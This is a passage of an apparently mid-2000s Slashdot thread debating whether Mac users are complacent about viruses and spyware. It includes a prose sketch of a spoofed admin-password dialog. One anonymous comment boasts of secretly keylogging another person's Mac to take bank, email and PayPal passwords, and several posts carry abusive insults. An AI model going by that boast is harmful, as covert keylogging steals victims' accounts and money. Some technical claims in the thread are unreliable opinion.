Re:he's nearly right...

[Anonymous Coward]

This '+5 insightful' moderation proves that moderation points are indeed granted to complete idiots.

Mine

[palad1]

"Is he right, and what actual products exist for OS X that would protect against infections?"

Try this one . It works for me...

Mac resistance to malware

[ayelvington]

The guy is right, and security by obscurity doesn't really work for long. I suppose that the security of Macs rests in the continued success and growth of Windows.

I have a Mac and only have the firewall turned on. I suppose I'm off the bell curve since the Mac is for entertainment only and I rarely browse and never use email with it.

So, is there a profile of a Mac virus writer???

-a

Re:Mac resistance to malware

[ioErr]

So, is there a profile of a Mac virus writer???

Judging by the amount of viruses out for Mac OS X he's one lazy fucker.

Re:Mac resistance to malware

[Anonymous Coward]

Actually I think the Mac virus programmer looks more like thin air.

Probably needs to be Microsoft luser to be able to see him.

Re:Mac resistance to malware

[Paradise Pete]

security by obscurity doesn't really work for long.

Sheesh. Make a phrase that rhymes and people will just beat it to death. It's not security by obscurity, it's security by architecture. Is it invulnerable? Of course not. But it's more than just the market share that provides the security.

Re:Mac resistance to malware

[LordEd]

security by obscurity doesn't really work for long

Windows XP has been around for 4 years. Since this is Slashdot, I can assume that most believe/know that there are still more undiscovered security risks in Windows. 4 years is a pretty long time.

Re:Mac resistance to malware

[ayelvington]

If it's familiar, if people remember it, if people get it, then it's good. Save original thought for something new.

Re:Mac resistance to malware

[caddisfly]

Insightful? who mod'ed this?

one of the rules of security is "don't make it easy and obvious" -- OS X does that, Windows doesn't. Windows is the "honey pot" for the world. With all the unsecure machines any script kit can bust it. OS X would take some real work, so the hackers go elsewhere.

another rule: layered defense -- OS X does it, Windows doesn't. With Windows, break into an app or file and you are at the OS core -- see WMF.

  It is not about market share, it is about market share of *unsecure* machines. The Windows "not secure" architecture and legacy will haunt it for years to come. If OS X gets 50% market share, those remaining Windows machines will still be just as unsecure and will still get just as hammered by malware, etc. It doesn't follow that overall malware will equally affect OS X.

Try this analogy: there were more robberies of homes than banks....and it ain't because there are so many more homes. Banks are just more difficult to rob, risks are greater and penalties greater. OS X is the bank -- it can be robbed, but I don't spend my time worrying about it. My home, on the other hand, has "windows" -- and I worry about that a lot! ;-)

Two observations:

a) do a market share observation of security folks and technical folks at generic computer conferences: the market share of OS X is more like 30-40% for people in the know.
b) as much "negative reaction" as folks have to Steve Jobs and Apple, if someone could write a virus, etc. for OS X, they would have done so by now, just to throw it in his face and make headlines across the tech world. I am still waiting.

Re:Mac resistance to malware

[skingers6894]

"The guy is right, and security by obscurity doesn't really work for long"

Firstly there must be more to this than just obscurity. 4-5% Market share and 0% viruses. Apple are pumping out over a million machines a quarter, still no viruses? This stuff about the mac only being secure because no one uses a Mac is just untrue. There should be SOME viruses, at least 1!

Secondly, let's pretend for a minute though, that it is true. Well, let's talk about the issue again when the Mac is in danger of grabbing 50% of the market, in fact let's make it 20%. In the meantime I'll continue to enjoy the 0% market share the Mac has in the Virus market.

Re:Mac resistance to malware

[infolation]

So, is there a profile of a Mac virus writer???

Their viruses have interesting typography and excellent kerning.

Re:Mac resistance to malware

[hobbit]

To a certain extent.

However, Apple's installer package does not offer the option of a user-local installation. Which means that users have long been being trained to type their admin passwords when a little window pops up asking them to. This design will certainly come back to bite Apple in the ass. Worse, one of the common OS X security paradigms is to ask the user for an admin password twice in a row -- once to setuid a helper tool (performed once per installation), and once to authorise use of a setuid helper tool (performed every time the permission is required). If someone were to write a program which sits on the window server looking out for something which looks like an auth window, then pops up an identical one, they would be able to collect admin passwords (and therefore root access) without any trouble whatsoever.

Re:Mac resistance to malware

[ayelvington]

Good stuff here! I like the comment on the moderator, although I never complain about generosity when it's aimed near me.

I agree about the make it hard to find and hard to do line of thought.

I do some security work at work and have a Mac at home just to say that I have one computer I truly enjoy owning!

Thanks for the comments.

Re:Mac resistance to malware

[Paradise Pete]

Which means that users have long been being trained to type their admin passwords when a little window pops up asking them to. This design will certainly come back to bite Apple in the ass.

I think that's a really good point. It's a bit like the confirm "bug" that Elliotte Harold recently wrote about.

Re:Mac resistance to malware

[Anonymous Coward]

You are one clueless motherfucker.

With Windows, break into an app or file and you are at the OS core -- see WMF.

The WMF vulnerability did not escalate privilges you dimwit.

"It doesn't follow that overall malware will equally affect OS X.

You are quite right. Given the cluelessness of Mac users like you, OSX would probably be hit much harder.

"OS X is the bank"

Dumbest thing you've said so far. "greater penaties"?

"the market share of OS X is more like 30-40% for people in the know."

Care to share a shred of evidense to support this claim?

"b) as much "negative reaction" as folks have to Steve Jobs and Apple, if someone could write a virus, etc. for OS X, they would have done so by now, just to throw it in his face and make headlines across the tech world. I am still waiting."

Several people already have written several POC for various vulnerabilities in OSX. The reason they are not turned into malware is not the reason you think.

I certainly hope OSX gets a 50% marketshare (though it never will until it is *allowed* to run on commodity machines), so smug, ignorant fucks like you can get it in the ass like you deserve.

Re:Mac resistance to malware

[ClamIAm]

Banks are just more difficult to rob, risks are greater and penalties greater. OS X is the bank -- it can be robbed, but I don't spend my time worrying about it.

But the incentive to break into an OS X machine is even less, as when you control a zombie, it doesn't matter what OS it is running. What matters is that you get as many zombies as possible. So if one OS has a small userbase and is hard to crack, malicious hackers are going to go after targets that have a bigger userbase and are easier to crack. Enter Windows.

Oh no..

[ciroknight]

Not another one of these articles.

If you want to talk about any audience that's too smug, talk about Linux. Linux is on more important machines, and yet everyone talks about how safe and secure it is, even though in some cases it's just not true at all. Yes, Open Source code is generally more secure, but the major parts that need to be secured in OS X are Open Source.

As far as I'm concerned, both Linux and OS X are going to be one hell of a lot safer than Windows for a long time running, and so I can rest and relax in my relative security thanks to Microsoft's inferior security practices.

Re:Oh no..

[CCFreak2K]

I agree completely. I can go into any Linux, channel, merely mention the word "Windows," and everyone is all over it like Linux is the One True Path or something.

Contrarily, in the Windows channel I attend, I'd wager 3 out of 4 people (including myself) run Windows and Linux regularly.

Re:Oh no..

[peterfa]

What are worse are the 'doze users out there who think 'doze is better than Macs. I've seen them. They say really stupid stuff like, "Windows only crashes if you're stupid." Which is not true. I've gone out of my way just to have my stupid 'doze box crash. I've done the foolish gig of plugging my freshly installed XP PC into the 'net just to see the machine crumble into dust.

Macs plug right into the 'net with out a problem. They do have thier silly eccentricities from time to time but what you have to go through is *nothing* compared the the BS you go through on a 'doze. You have to run up to 5 types of anti-spyware if you want a truely clean box and an anti-virus.

Then you have to listen to some ingorant fucktard say something about how Windows is better than Mac.

*grits teeth*

What's worse?

[DaHat]

The retailers who make this claim to those who may not know better.

A local Mac shop practically advertises that a Mac is totally secure and immune to viruses and spyware.

Every time I see one of their commercials I shake my head at the persons obvious lack of understanding of the issues at hand. It's one thing for a Mac fan to say there are secure due to their delusion... it's quite another for them to use their delusion as the basis for a sale.

It's just a shame that for them to be proven wrong, a lot of people and their PC's have to get hurt.

Re:What's worse?

[guet]

A platform which doesn't have Active-X, doesn't have services running out of the box, doesnt' have autorun for CDs with Sony Malware, and doesn't have an unfortunate legacy meaning almost all apps require continual admin access, is more secure in my book. There's a couple of operating systems that fit the bill, one of which you seem to hate : )

Having no known viruses at this point is an extra bonus.

Not immune of course, but then I don't hear many people claim that, in fact, I've never heard anyone say that, just heard it repeated as a truism (Mac users think this) on websites.

It's just a shame that for them to be proven wrong, a lot of people and their PC's have to get hurt

A lot of people and their PCs get hurt continually at present, but they come back for more and keep running the same broken system.

Re:What's worse?

[Anonymous Coward]

> a Mac is totally secure and immune to viruses and spyware.

I've had .vbs files and exe's mailed to me and sometimes I get broken plugin icons in safari... But I couldn't infect my Mac with those if I wanted to unless i ran Virtual PC / Windows.

If you only hear about houses with wooden front doors getting burgled and you're the only one in your neighborhood with metal front door, which everyone agrees is a bit harder to crack open, would you pay for an alarm system and a guard dog?

Only if you have something really priceless inside.

I've got backups and I pay attention when something asks me for Admin privileges. Lets see a few thousand macs get infected with something nasty first, then maybe I'll consider some additional protection.

Re:What's worse?

[Jason Earl]

You can keep waiting for the Mac folks to be proven wrong, but chances are good that you'll be waiting a long time. You see, just like biological viruses computer viruses need two things before they will take off. The first thing that they need is an exploitable weakness. The Mac has enough of those that a worm is certainly possible. The second thing that you need is a large enough body of susceptible hosts that the worm can spread. Macs *don't* have that. Without a large body of susceptible hosts the entire population is safe. That's why it doesn't matter that my neighbors don't immunize their children. The fact that their children are susceptible to immunizable diseases doesn't really matter because there aren't enough luddites to create a viable population of carriers.

Interestingly enough, most of the same effects can be had simply by not using Outlook and IE on Windows as these two programs are the main vectors for infection.

Re:What's worse?

[santos_douglas]

I was just at my local (Lansing, MI) CompUSA and overheard the Mac rep making similar claims as his pitch to a potential customer. His exact word were "unlike with a PC, with a Mac you don't even have to think about viruses or spyware..." I was mildly shocked to hear it from an official rep like that.

Re:What's worse?

[Hawthorne01]

Your response was enlightening, well-written and erudite.

What it's doing on Slashdot, I'll never know. :-)

Seriously, though, that's the best summary of the current state of Mac security I've read. Well-done.

Re:What's worse?

[somersault]

well you can get IE for Macs I know, at least OS8/9/whatever, if not OSX. And people really dont need to worry about it (yet), since most viruses are Windows only. So he was telling the truth.

Re:What's worse?

[Anonymous Coward]

I support several handfuls of Mac users at work and I have heard the exact words "Macs can't get viruses or spyware" from all but 2 of them.

Definitely smug w/ absolutely 0 awareness of how things actually work inside their pricey brushed metal boat anchors.

Re:What's worse?

[BoomerSooner]

I manage roughly 40 systems. Solaris 9, Linux Fedora 1,2,3,4, RH 7.3, Slackware 9.1, Windows 2000 Server & 2000 Pro & XP (pro & home), and Mac OS 10.3, 10.4.

Guess which computers have never been compromised?
All of them have been kept free with the exception of one computer running XP Home (user installed spyware, education session followed).

Which one's require 99% of my time? Windows 2000 Server, 2000 Pro and XP.

I've never had any worries with my Mac boxes at all. I don't use MS products and avoid most of the associated system vulnerabilities. I set OS X to update check daily. Never a problem.

Ease of administration in my opinion of these systems are in this order:
Mac OS
Windows (assuming patches are available)
Solaris
Slackware/RH/Fedora

Mac OS is my favorite, I cannot wait to get a new MacBook!

Re:What's worse?

[Daedala]

That is incorrect. It is certainly possible to make a worm that infects a niche market; that was proven by the Witty Worm, which took down most boxes using ISS's various firewalls, very very quickly. There's a great discussion of this here. The vulnerable population was about 12,000 machines. There are a lot more than 12,000 Macs out there.

This makes the fact that it hasn't happened to Macs even more impressive.

Re:What's worse?

[archdetector]

You're right. But every Mac salesman who tells you that Macs are immune from viruses is matched by 100 pc salesmen who will tell you that what they're pushing is immune as well, since they're loaded with the latest XP and VP software. They're salesmen, and you can't fault them for a good pitch.

So yeah, there's a lot of Macs out there without VP software. But as another poster mentioned, there isn't a lot for VP software to do right now. Mac's ship with all the dangerous stuff turned off, firewall on, require a password for most everything, and Apple does a decent job of not building in vulnerable features and keeping on top of security issues as they're discovered. There really isn't much else to do. Sure, you can add a VP program and feel even more smug, but since the VP program can only watch for suspicious activity, there's really no guarantee, or even a good chance, that it will catch whatever it is that it's looking for. In the meantime, it just sits there and causes problems.

We're in a period now of hype escalation, where someone says, quite truthfully, that Macs are less vulnerable to viruses, so the MS fanboys yell foul and the self-rightous geeks begin their lectures on security, so then the mac fans feel hurt and start to exagerate the original claim as 'God's Truth as spoken by Jobs', so then the VP companies jump on the issue to drum up some sales, which brings the pundits into the row, which gets a post or two on Slashdot, etc., etc.

I have no doubt that there will be a virus for the Mac. But since the Mac market share isn't going to boom overnight, and since most Macs are pretty well protected for the reasons listed above, the virus will likely spread slowly enough to give us all time to react. And once that happens, Mac users will be more aware and will start installing VP software, which will then actually have something to look for.

Re:What's worse?

[swillden]

It's one thing for a Mac fan to say there are secure due to their delusion... it's quite another for them to use their delusion as the basis for a sale.

It's a simplification, not a delusion, and it's a very reasonable basis for a sale.

The fact is that Macs are totally immune to the current crop of viruses and nearly all current spyware... because the viruses and spyware are written for and only run on Windows. That may (and probably will) change in the future. At present, and probably for the next couple of years at least, it's a good reason for buying a Mac.

Re:What's worse?

[A beautiful mind]

I've taken a course last semester about computer security. There were pretty interesting lectures, very professionally handled in my opinion. Bank security, mathematical basis of cryptography, biometrics, security in hardware, mainframes, etc., and yes, virology.

The interesting stuff is, that when we're talking about windows viruses, we don't make a difference between different windows versions, but we should. A "platform" for a virus is a specific version of an operating system which it can infect. No more than 50-60% of the total percentage of computers are vulnerable to a windows virus, given the incompatibilites between various windows versions.

Why is this important? Because according to notable experts, if the platform of a virus would rise above 75-85% of the total computers available for infection, then it would render 15% of the computers of the world unoperative, shortly after it was released into the wild. This would be the computer equivalent of 1918's spanish flu. Basically, it could topple governments, crash stock markets and drive the global economy into a nasty recession. I'm not kidding.

This is something very dangerous to allow, so that is why I'm so glad that Open Source is making its ways into mainstream and that MS fails to unify it's platform either with Vista or a future subscription based model. That'd be very dangerous for computer security because of the homogenity.

What can we do? Use linux, bsd. Seriously. Not for the reason you'd expect though, I'm not a linux zealot although I do use it as my desktop. No, the reason is diversity. There are hundreds of linux distros out there, which don't make one unified platform for viruses to spread. That is the only way to totally prevent viruses: with heterogenity.

Hypothetically, if we were to have 10 only so slightly different linux operating systems making up the 100% of operating systems used on all computers, viruses wouldn't exist, because no virus could achieve a platform larger than 10%, thus practically would be unable to spread!

In real life, this would never happen, but probably we'll end up with dozens of linux, bsd, OSX, windows versions all taking up <10% of the market. And that is even better.

Yes, even windows won't have viruses if it's market share dwindles. Not because of the lack of motivation or the "super" security making it impossible to write them, but the lack of platform for the viruses to spread effectively (although windows would still be a piece of adware filled crap, but no viruses).

Re:What's worse?

[WindBourne]

Interestingly enough, most of the same effects can be had simply by not using Outlook and IE on Windows as these two programs are the main vectors for infection.

While, I agree that Outlook/MSIE are the single biggest 2 apps for issues, they account for less than 25% of all the virus/worms/spams on Windows. Getting rid of them, will not come close to solving the issue. The writers will simply target another part of the system.

Re:What's worse?

[bill_mcgonigle]

Not immune of course, but then I don't hear many people claim that, in fact, I've never heard anyone say that, just heard it repeated as a truism (Mac users think this) on websites.

Immunity is a good metaphor.

Superman doesn't get sick (we'll ignore Kryptonite for the sake of this post). We don't have a Superman OS yet. Come back with something completely written in a design-by-contract model with lots of years of bug finding and then we can talk about entry into the JLA. Mac users don't have a superpowered OS, despite Steve Jobs's Reality Distortion Field superpower.

So, we have mortal Operating Systems. Some of those operating systems have strong immune systems. Mac OS X is a good example. It has everything off by default and a good auto-update mechanism. It's still written in C and has buffer overflow problems. We know they exist, there will be a cold eventually if it's not fed a constant stream of vitamins (software updates). Still, there is a good permissions model from UNIX, ACL's now in later versions, and Apple has done a heck of a good job making a user not understand root on a UNIX system. Sudo is nearly invisible and the Keychain lets us store credentials in a cryptographically-secure manner. Plus lots of it is Open Source, so the OS is getting a well-checkup by many doctors, frequently.

So, then we have linux. Linux has most of the genetic benefits of Mac OS X. But it has more challenges to its immune system. Most distros come with services running, root is not as well hidden, and keeping up to date has been historically difficult. Big repos like Dag and mechanisms like yum make this easier today, but there's alot of history. So, linux is more like a strong young male with a good immune system who happens to sleep around alot and is at risk for more STD's because of it. That said, he gets a checkup by a doctor every three hours.

Then we have OS's which are like people on immunosupressive drugs. There's a reason the immune system has to be so weak, and in a way it's like a transplant - backwards compatiblity. So, this is Windows and its users are always looking for more, better software to fix a somewhat hard to use system. They're always downloading things and clicking Install just because they want something new - you can't ignore behavior in this analysis. So Windows is on immunosupressive drugs and is an alcoholic and does drugs and likes to bungie jump. Some people find the Sex-Drugs-and-Rock'n'Roll OS alluring, and its pushers have made sure it's pervasive on the streets. We're still not sure why corporations hire this kind of employee but we think it has something to do with the dirt the pusher has on the managers.

So, Mac OS X isn't a WunderOS and its users have to watch for ice on the parking lot. But they are wearing YakTrax on their feet so they can at least have a conversation about the Panthers on their way into work.

Re:What's worse?

[Anonymous Coward]

There is a huge difference between
advertises that a Mac is totally secure and immune to viruses and spyware.
and
is more secure in my book

More secure does not equal totally or immune.

There maybe flaws and methods that CAN be exploited on any computer, wether they happened yet, how much harder it is to happen, the chances for it to happen, blah blah blah is not relevent. It CAN happen is what people need to realize. No one is saying there is a time bomb waiting to explode with OSX. OSX has a much better design then the Windows "tie everything together model", but it is not immune and many people are lead to believe that just because it is not Microsoft, they are completely safe.

I have a cheap ass Seimens personal router at home, I've never read or heard about a single incident where one of these was hacked and there is nothing in the wild to attack it! It must be bullet proof and I have nothing to worry about right?

Re:What's worse?

[IamTheRealMike]

A platform which doesn't have Active-X,

Yet nonetheless had a web-browser based code execution exploit available just days after 10.4 was released (and there have been others in the past), so that doesn't mean an awful lot. Especially as ActiveX is rarely used as an entrypoint for spyware these days.

doesn't have services running out of the box,

Huh? WTF is LaunchServices if not a service? There's all kinds of crap running in the background of any modern OS, windows, Linux, MacOS - you name it, it's got stuff going on that you can't see.

and doesn't have an unfortunate legacy meaning almost all apps require continual admin access

It has an unfortunately legacy in the form of Objective-C and the InputManager framework that lets you trivially reverse engineer and binary patch running apps. Remember that many of the things 'bots do don't require admin access anyway ....

I think many Linux and Mac users are too smug about this whole mess - no existing desktop OS is really cut out for dealing with a world in which software attacks other software on a regular basis, because the threat emerged very recently.

Re:What's worse?

[HiThere]

Any useful computer will be able to run user-level applications that are trojans. Sorry, it just will. Note the adjective "useful"? That's to avoid claims about "trusted" systems. If a user is able to create new programs (useful), then the user will be able to run trojans. Sorry.

Signed applications helps, but it's not perfect. Still, most decent systems either use that or are moving in that direction, but ultimately the end user must decide who and what to trust if the computer is to be useful.

O, you could make special purpose devices... web terminals, e.g., or Word Processors. Been there, done that, computers are a better choice, and not just because Wang became stuck on text mode. (I've even "programmed" the stupid things. Give me even obfuscated C code in preference! [I'm exaggerating, but only slightly] It was both slow and ridiculously complex. You have no idea what an advance awk and bash are!)

Re:What's worse?

[HiThere]

Actually, Mac OSX security is even slightly better he indicated (over MSWind). How much better I don't know, and I doubt that anyone does. At least they've chosen to avoid most intentional holes in the security.

Now as to what a virus checker could do right now... other than collect $$$ for the vendor, I mean... When there aren't any implemented exploits, it's difficult to guess what shape an actual exploit would take. I presume that Apple does things like signing their applications, but I don't even know. I just haven't checked, because there hasn't been any reason. If they haven't, then Macs could use something like tripwire.

Re:What's worse?

[Anonymous Coward]

Not only that, but we Mac users travel in packs. And we stay close. The friends and close associates of any given Mac user are very likely to be Mac users themselves. These conditions are ideal for spreading viruses and worms. Malicious computer software, too.

Re:What's worse?

[prockcore]

A platform which doesn't have Active-X, doesn't have services running out of the box, doesnt' have autorun for CDs with Sony Malware, and doesn't have an unfortunate legacy meaning almost all apps require continual admin access, is more secure in my book.

Except that OSX has equivilents. Dashboard is running by default, can run arbitrary code, and can't be easily removed or turned off.

I love how people say "well, OSX doesn't have ActiveX so it's secure". ActiveX was a "good idea at the time". OSX has applescript and dashboard and every release of OSX has more and more shit running by default. It's only a matter of time before OSX's "good ideas" become security vectors.

Re:What's worse?

[kponto]

I work at a local Mac shop. We have a full repair center, and service about thirty machines a day. On average, about five of those run OS 9.

In the one year that I've been working here, I have never seen a Mac come in with a virus, OS 9 or OS X. In the five years that our Head Tech has been working here, he's seen maybe two.

So yeah, we tell people that they don't need to worry about getting a virus. Hell, we even stopped carrying anti-virus software. Sure, it could happen to someone, as it's happened in the past and it will surely happen in the future. I could get struck by lightning too, but I don't worry about it.

Re:What's worse?

[toddestan]

The second thing that you need is a large enough body of susceptible hosts that the worm can spread. Macs *don't* have that.

The obvious solution would be to use Windows boxes as a carrier for the virus, but only have a payload for the Macs. The real beauty to doing this way would be the fact that it would take YEARS to get rid of the infected Windows boxes, if the worm did not cause significant harmful effects on the Windows boxes it infects.

Re:What's worse?

[geekee]

"A platform which doesn't have Active-X, doesn't have services running out of the box, doesnt' have autorun for CDs with Sony Malware, and doesn't have an unfortunate legacy meaning almost all apps require continual admin access, is more secure in my book."

Saying one OS is more secure than another is like saying a DRMed file is more secure than one with no protection. It only takes one person to find one exploit.

Re:What's worse?

[guet]

Active-X provides one click access from a web page to the users computer, and if they become used to installing active-x plugins for random websites, they're getting used to giving carte-blanche access to their system to web pages, just with one click on a dialog. This is a bad thing and it wasn't a good idea at any time. If nothing else the apps should have been running in a clearly defined sandbox like java applets.

Dashboard runs apps on your machine that happen to be like web pages, not web pages that happen to be programs. It's a step closer to MS in that Apple is encouraging you to download and run small applications that just about anyone can build, however it's not possible for the web page to just download and install them, simply because you click ok (at least, not any more :). I agree you should be able to disable it.

Applescript is a scripting language, I fail to see how it's relevant (you may as well include the ability to run VB, shell scripts or compiled C code as being insecure).

You failed to address the other points on which Windows is weak.

One product stops mac PCs from getting infected.

[MMC Monster]

That's Mac OS X.

There's no substituting an OS that doesn't let the average user have administrator rights all the time.

The windows users state that they don't need to run as administrator, but then ask them what hurdles they have to go through to make their software "just work".

depends on the user really

[the_humeister]

In the computing world, there are clueless people, slightly more knowledgeable people, and the computer geeks. For the Mac crowd, I would gather the clueless and the computer geeks aren't smug since the clueless don't know what's out there and the geeks know that nothing is 100% secure. That leaves the slightly more knowledgeable people since their argument is that there hasn't been a virus reported since mac os x came out.

Re:depends on the user really

[Anonymous Coward]

I guess you'd categorise me as somewhere between the high end of knowledgeable and geek. There *are* no OS X viruses yet. Period. Six years and counting. Certainly there will be a virus, etc, some day. But when that day comes, existing products won't be able to find it. How can you search for something that doesn't exist (or didn't when the AV program was written)? AV companies will rush to come to market with response to the threat, and that's when you should start using something. Until then, it's a waste of money and cycles.... Keep your firewall turned on and watch the Mac news channels so that when the day does come, you know about it.

Re:depends on the user really

[Chyeburashka]

There has always been a multi-modal distribution of computer literacy, but I've seen a shift of the truely clueless to the Windows platform, and most Linux geeks I know use OS X also. Any OS geek of any stripe understands the need to be vigilant with patches and configuration, but that still leaves a large middle ground of the moderately informed user.

It is these Mac users who will contribute to a future OS X security debacle. When Apple releases a Security Update, the geeks will apply the updates right away, and the clueless will do as told. But the middle ground still has the dangerous attitude that security updates on the Mac aren't important since the OS is so secure already. This is a problem.

Re:depends on the user really

[M-RES]

Precisely!! 20 years of Mac use under my belt and NEVER HAD A SINGLE VIRUS!!!! Nobody's 100% secure, and one day a virus will come, but for the time being I'd still rather be living in the false Nirvana of OS X than the daily Hell of 'doze!!

Re:depends on the user really

[the_humeister]

Good for you. I've been using for about as long as well but haven't had the pleasure of a virus, even during the dos days when the viruses sometimes destroyed hardware rather than keylogging and obtaining your social security number. But that doesn't mean other people haven't or will not obtain viruses and other malware. Exploits abound in every operating environment be it from the operating system or applications, and it's your job to patch those up when they happen.

Re:depends on the user really

[somersault]

then what happens if someone starts spoofing updates? I was worried recently with Ubuntu (yes I'm not a Linux god, more of a n00b) when it was saying that the latest WINE patch wasnt verified, so didnt bother to download it for a while (also there was no news about the update on Sourceforge or anywhere else that I could see), and the update wasnt there 30 seconds beforehand when I'd checked for updates, so I wondered if someone was targetting my machine. Admittedly that's not really a virus, but still, relying on updates seems as bad as relying on an anti-virus program.

In the end it all comes down to "safe" usage

[antifoidulus]

Regardless of what OS you use, you are never 100% secure. Much like safe sex, stick to stuff you know is safe and 99% of time, you should be fine. If you do decide to venture into the internet darker corners, then "protect" yourself as much you can, and of course never assume that "it will never happen to me"

Re:In the end it all comes down to "safe" usage

[guardian653]

That is awsome.. a comment that compares computer usage (in this case security) to sex! Yes!

When people start targeting Apple or *NIX

[Secrity]

It will be a GOOD indication when malware writers start attempting to target Apple or *NIX. It will either mean that MS produsts no longer the dominate player or it will mean that MS products are no longer a major security problem.

Re:When people start targeting Apple or *NIX

[BuR4N]

"It will either mean that MS produsts no longer the dominate player or it will mean that MS products are no longer a major security problem."

I think its a combination of both, as alternatives to Windows starts to gain momentum we will see exploits, viruses and malware on those platforms as well.

I doubt however that we will ever see the same effect or scope of viruses on these platforms.

Re:When people start targeting Apple or *NIX

[WindBourne]

Just the later. Virus writers do not go after the amount (except for spam). They normally persue the easy targets. Keep in mind what a writter is after:

1. Fame by being a successful writter (100 million Windows or 1 millon apple; what matters is how cleaver you are).
2. How much money you can get. This is a matter of stealing CC numbers, bank numbers, Retirement accounts, etc. In this case, 1 million system apples would do just as well as windows. But they go after Windows due to the ease. Even in the major servers where they steal 1K to 10-100 million CCs, everyone of those have been Windows. Why? Due to ease of cracking them. BTW, next time, you hear of CC's being stolen on news.com, just netcraft it. USA gov. use to give this info out, but stopped in feb. 2001 (payback?).
3. Spam serving is pretty much a windows thing, but that is due to shear number. In that case, the writters are looking for the highest numbers of system that are easy, and that would be Windows.

Overall, this is about ease of cracking a system, not the numbers of them. As I mentioned the other day, Banks are being robbed at a high number, even though there are many more 7-11. Why? ease of doing so.

wait....

[William Robinson]

IANA Mac user, but, isn't there Word (or Microsoft Office) for Mac? What is difference between Word on Windows and Mac that prevents those notorious macro virus?

Re:wait....

[Anonymous Coward]

There isn't. That's why most of the reported Viruses for Mac are Office issues.

Re:wait....

[mstroeck]

Uhhhm, not running as root all the time? An OS that actually seperates user-space stuff from the internals?

Re:wait....

[gEvil (beta)]

IIRC, Word macro viruses on a Mac tend not to be nearly as damaging as their Windows counterparts (less ties into the system and other Office apps, etc). However, the big problem is that Word for Mac acts as a vector of transmission. Word docs that contain macro viruses that don't affect the Mac in any way can wreak havoc as soon as they're opened on a Windows machine (assuming someone clicks the 'run macros' button on opening the file).

Re:wait....

[NutscrapeSucks]

Recent versions of MS Office make it a pain in the ass to run any sort of macro. I don't think Office viruses have been a serious issue for at least 5 years now, maybe longer.

Re:wait....

[legirons]

"What is difference between Word on Windows and Mac that prevents those notorious macro virus?"

a) Nobody uses it

b) It's being discontinued

c) Nobody uses it.

Sorry, that was worth mentioning twice. Pages costs the same and is better. NeoOffice costs nothing and is compatible. And professional Mac users probably use something from Adobe or Macromedia (can't remember the product names) which make Word look like a toy

Security by design

[MysticOne]

As a Mac user, I'm not that worried about viruses, trojans, all that stuff. I felt the same when I was a Linux or a FreeBSD user. Why? The design of the operating systems makes the risk of infection very low. There may be a bug or two that come along at some point where a virus writer can exploit them to do something bad. Even with all that, the most it would probably be able to do is screw up stuff in my home directory. It's not something I'm going to worry about, and definitely not something I'm going to pay money to avoid when there's such a slim chance of anything happening. I use good judgement to determine what I should or shouldn't run, and I go from there.

Re:Security by design

[Anonymous Coward]

Even with all that, the most it would probably be able to do is screw up stuff in my home directory.

Unless of course, they also happen to have a local root exploit as well as a remote local user exploit.

Dont forget that privilege escalation is a problem if you execute some malware.

Re:Security by design

[TheNetAvenger]

Why? The design of the operating systems makes the risk of infection very low.

The very same words were used for Windows NT during the early 90s. And it was just as true then for Windows NT as it is now for OSX. But as with NT, the Grace period for OSX is about up, it is gaining some popularity again and even if not marketshare, media visibility.

Most viruses of the time were written to target 16bit Windows and DOS, so NT was immune to most viruses.

It however did not mean that it was truly more immune to viruses. Even with all the security inherently built into NT, all it takes is a user to give an application permission to infect it. The same IS true on OSX as well.

So feel more secure, Anti-Virus software for Windows NT really didn't even exist until NT 4.0 and the Internet became popular. It wasn't needed as it was not targeted for viruses.

Now remember Windows NT is the core of Windows 2000 and WindowsXP... And you have seen the security of WindowsNT be circumvented many times in the past few years..

So do you still feel so safe, or will it take popularity or a mass OSX infection to give you a wake up call?

(PS I'm also a good judge of what to run or not run, and that is a key. I have NEVER had a virus or infection of anytype on my Windows PC. And I have been running Windows since the 3.0 and Win386 days. But trust me, this does not mean Windows is virus proof. *wink*)

I also use to caution NT advocates in the early 90s that touted it as being immune to viruses. Even though it was true at the time since the viruses were targeting DOS and 16bit Windows, it was very misleading and a dis-service to users as NT grew in popularity.

Take Care and continue to be cautious, but don't propogate the OSX is safe myth, even if you know what to run yourself, not all users do.

Re:Security by design

[Anonymous Coward]

good point. cracking is a different story though. all it takes is a reasonably smart black hat and local access or less than current build. ever heard of logkext? great keystroke logger that I have used myself. last time i used it on a smug mac user's mac, I got at least 5 of their accounts and passwords, including 2 email, 1 bank, ebay and paypal.

Re:Security by design

[nogginthenog]

Remember the original Unix worm from 1988? That targetted BSD-derived versions of Unix and pretty much ground the internet (pretty small in those days!) to a halt.

See http://en.wikipedia.org/wiki/Morris_worm

Oh, and the Mac runs a BSD-derivative doesn't it :-)

Re:Security by design

[MysticOne]

And if there is a local root exploit, I don't think there will be any protection from it unless Apple releases a fix. Is it a possibility? Of course. Is it something I should run out and buy a lot of "feel good" A/V programs for? Hardly.

Re:Security by design

[Anonymous Coward]

Now, I've been waiting for the 'my home dir' argument. Let me tell you - that's exactly what matters. All that needs to be protected is the damn home dir, the rest nobody cares about.
So, you say, the virus can't install itself into the system/can't delete the system etc. You might not have noticed (me myself just by reading about it), but windows worms are in general not meant to destroy, they keep alive. And for those without enough understanding - background processes run very well as users - in all default linux installations I've come across and especially in OS X. Linux is a bit safer, because you can't 'click to run', but everybody will see that something like that can't be a valid point - if people are inexperienced enough to believe everything they get via email, they could be instructed to open a terminal and type ./malware as well.
I'm not willing to go into more details, but just one more thing: as long as you can send emails or call websites, everything in your useraccount can do as well. So, you might still be used as a zombie for DOS or spamming. And of course, all those actions take away your processing power (not to speak of your long gone privacy).

I can't understand why people think that home directories are not important. From my point of view, that's all that counts. That data on the rest of the system is something I can get back from the vendor of the product - via a net install or dvd or whatever. My personal data is depending on me making backups of it. Now, there's a limit on how much afford people, including myself, put into backups - for example I don't check integrity of files I'm backing up, so in worst case and a file I don't use on a regular basis, I could have done 100 backups before noticing that everything in that file has been replaced by 'dumb ass'.

I suggest you think about that again.

Re:Security by design

[MysticOne]

The "security" of NT stemming from it being 32-bit when most viruses were written to target 16-bit DOS/Windows applications is different than securty offered by OS X. I'm not going to say that it's immune to all threats, impossible to infect, all of that stuff. I'm sure there are exploits here and there as there are always coding mistakes in software. However, I do not feel the threat is unavoidable, nor do I think it's something to panic over and rush out and buy software to "protect" myself.

Windows is inherently insecure. Hell, in unpatched machines you can even infect it remotely! Their ancient code, silly way of doing things, etc., make it much more vulnerable to all sorts of attacks. OS X is not Windows, it's not anywhere near Windows, and it has much more in common with FreeBSD than anything else.

It isn't invulnerable, but it's safer than any other desktop solution out there at the moment (aside from running Knoppix off a Live CD).

Re:Security by design

